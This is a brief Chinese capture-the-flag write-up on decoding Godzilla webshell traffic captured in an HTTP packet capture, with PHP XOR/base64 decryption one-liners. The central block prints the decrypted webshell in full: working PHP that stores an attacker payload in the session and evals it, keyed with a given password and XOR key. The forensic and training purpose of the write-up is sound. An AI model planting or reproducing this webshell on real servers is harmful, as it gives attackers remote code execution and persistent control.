PCTF wyz大战哥斯拉 wp-526互联

PCTF wyz大战哥斯拉

下面两个应该只适用PHP_XOR_BASE64算法解密代码

echo encode(base64_decode(urldecode('')),$key);
echo gzdecode(encode(base64_decode(''), $key));

和菜刀一样，webshell，直接搜http流量

第一个request数据包，wyz里的值解密后为shell代码

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D, $K)
{
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}

$pass = 'sb';
$payloadName = 'payload';
$key = '26148d621ef74844';
if (isset($_POST[$pass])) {
    $data = encode(base64_decode($_POST[$pass]), $key);
    if (isset($_SESSION[$payloadName])) {
        $payload = encode($_SESSION[$payloadName], $key);
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encode($payload, $key);
        }
        eval($payload);
        echo substr(md5($pass . $key), 0, 16);
        echo base64_encode(encode(@run($data), $key));
        echo substr(md5($pass . $key), 16);
    } else {
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encode($data, $key);
        }
    }
}

pass为sb，key为26148d621ef74844

第二个request数据包，带入第一个解密代码，得到test